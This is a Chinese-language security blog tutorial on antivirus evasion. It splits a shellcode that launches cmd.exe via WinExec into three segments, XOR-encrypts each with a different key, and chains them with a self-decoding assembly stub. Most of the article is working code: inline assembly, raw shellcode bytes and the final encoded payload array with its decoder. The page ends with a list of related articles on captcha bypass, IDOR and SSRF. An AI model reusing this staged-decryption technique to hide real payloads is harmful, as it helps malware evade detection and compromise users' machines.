执行分段免杀,使用Xor加密具有不同密钥的弹出cmd程序
摘要:编写shellcode时,如何在执行时进行解码,然后调用并解码,然后在解码后执行? 分阶段执行,并且解密密钥不同。
编写shellcode时,如何在执行时进行解码,然后调用并解码,然后在解码后执行?分阶段执行,并且解密密钥不同。
对于这个问题,我们应该考虑这三个问题。
1.如何编写通用解码子?
2.如何获得解码子解码部分的首地址?
3.如何跳转到刚解码的Shellcode的第一个地址?
执行分段免杀,使用Xor加密具有不同密钥的弹出cmd程序说明。
我们的程序
int main(int argc, char* argv[]){ char *str="cmd.exe"; __asm{ mov eax,str push 5 ;5=SW_SHOW push eax mov eax,0x7731dab0 //0x7731dab0 //call dword ptr [WinExec] call eax } return 0; }
0x7731dab0是winexec函数地址
转换为shellcode
char shellcode[]="\x8B\x45\xFc\x6A\x05\x50\xB8\xB0\xDA\x50\x75\xFF\xD0";int main(int argc, char* argv[]){ char *str="cmd.exe"; __asm{ lea eax,shellcode call eax } return 0; }
运行查看是否可以执行
xor加密
我们使用三个密钥对上面的shellcode进行加密,其值为0×51,0×47,0×81,并根据密钥的数量对shellcode进行分段,分为三段,0×51对\x8B\x45\xFc加密,0×47到\x6A\x05\x50\xB8\xB0\xDA\x50\x75加密,0×81到\xFF\xD0加密(语句的机器代码不能分开),在每段之后添加\x90,添加\x90是控制解密的次数,以便我们可以在想要解密的任何地方解密。加密的shellcode是:
\xda\x14\xad\xc1
\x2d\x42\x17\xff\xf7\x9d\x17\x32\xd7
\x7e\x51\x11
编写通用解码子
decode: mov bl,byte ptr ds:[ecx+edx] xor bl,bh mov byte ptr ds:[ecx+edx],bl inc edx cmp bl,90h je execute jmp decodeexecute: add ecx,edx //ecx加上解码的数目 ret
使用bh存储密钥,并将解密的bl与90h进行比较。如果解密后的值为90h,则停止解密,跳转到execte并执行它,最后返回。在这里,您必须使用ret,因为此程序将被放入经过加密的shellcode中,如果没有ret,程序将执行shellcode,并且后面的shellocde不会被解密。我们将分节执行它,因此解密后,我们必须回到最初调用解密的位置,以方便以后的操作。
在第一个shellcode之前放置以下程序机器代码
__asm{ xor edx,edx mov bh,51h //bh存储key decode: mov bl,byte ptr ds:[ecx+edx] xor bl,bh mov byte ptr ds:[ecx+edx],bl inc edx cmp bl,90h je execute jmp decode execute: add ecx,edx //ecx加上解码的数目 ret }
逻辑处理语句
此处的逻辑处理语句位于shellcode的每个部分之间,以存储和检索解码器已解码部分的第一个地址,跳转到刚解码的shellcode的第一个地址,并修改秘钥值。
__asm{
push edx //将decode首地址也入栈
add ecx,19 //这个是让ecx的值等于下一个shellcdoe首地址
push ecx //下一个shellcode首地址压入栈
push eax //将eax压入栈中(因为我们执行的代码中利用eax进行,eax值不能变)
mov eax,edx //将decode首地址传给eax
xor edx,edx
mov bh,47h //第二段key,各段shellcode的key不同,要修改
call eax
pop eax
pop ebx //shellcode首地址
pop edx //decode首地址
jmp ebx //到shellcode出执行
}
每次执行解码的shellcode时,都会执行此语句。Edx存储解码器的第一个地址,调用eax会对它进行解码,而jmp ebx将执行解码后的shellcode。上面的代码解决了如何调到解码器的解码部分的第一个地址的问题。通过在开始时找到解码的第一个地址,将其压入堆栈,然后在每次解码之后,将其弹出到寄存器中,然后在执行解码后,执行Shellcode。执行完shellcode后,根据弹出的解码后的第一个地址对其进行解码。
找出这段程序机器码放在每段shellcode之间
定位shellcode的第一个地址
执行分段解密。我们知道每个段的shellcode的第一个地址是不同的。我们如何找到每个段的shellcode的第一个地址?
在解密之前,我们将要解密的Shellcode的第一个地址压入堆栈。执行调用eax时,ecx的值是下一个要执行的shellcode的第一个地址。解码器中有添加ecx和edx。在要执行的下一个shellcode的末尾地址加1,然后执行add ecx,19,19是该部分的逻辑处理的机器代码数,此后ecx是接下来要执行的第一个shllcode地址,然后将堆栈推出我们可以找到第一个地址来执行shllcode。
最终程序
unsigned char encode[]="\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3""\xda\x14\xad\xc1""\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x47\xFF\xD0\x58\x5B\x5A\xFF\xE3""\x2d\x42\x17\xff\xf7\x9d\x76\x30\xd7""\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x81\xFF\xD0\x58\x5B\x5A\xFF\xE3""\x7e\x51\x11";int main(int argc, char* argv[]){ char *str="cmd.exe";
__asm{
lea ecx,encode //获取encode+shellcode编码的地址
mov edx,ecx
add ecx,25 //ecx存储第一个shellcode首地址,从xor edx,edx到ret,这段的机器码
push ecx //第一个shellcode压入站首地址
sub ecx,21 //解码decode首地址,21第一个shellcode到解码的机器码数
push ecx //压入栈
add ecx,21
call edx //解码
pop edx //解码首地址
pop ebx //第一个shellccode首地址
jmp ebx
} return 0;
}
结果:
在程序开始时,将第一个shellcode的第一个地址和解码子头地址压入堆栈,然后调用解码程序对第一个shell
code进行解码,解码后返回,然后弹出第一个shellcode的第一个地址和解码子首地址,使用jmp解码后执行第一个shellcode,执行后执行“逻辑处理语句”内容,根据弹出的解码后的子头地址,再解码第二个shellcode,然后执行,依此类推。
摘要
1解码和执行第二部分代码的密钥在第一部分中。
2.充分利用ret和解码后返回。
3.多利用push和pop,例如入栈、出栈shllcode的第一个地址和解码子首地址。
相关热词搜索:分段免杀 Xor加密 cmd程序 重庆网络安全公司
上一篇:登录、注册、账号、密码、验证码等表单渗透经验介绍
下一篇:Android APP静态分析存储不安全和密码的硬编码泄漏,导致登录短信管理系统并劫持短信接口配置
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了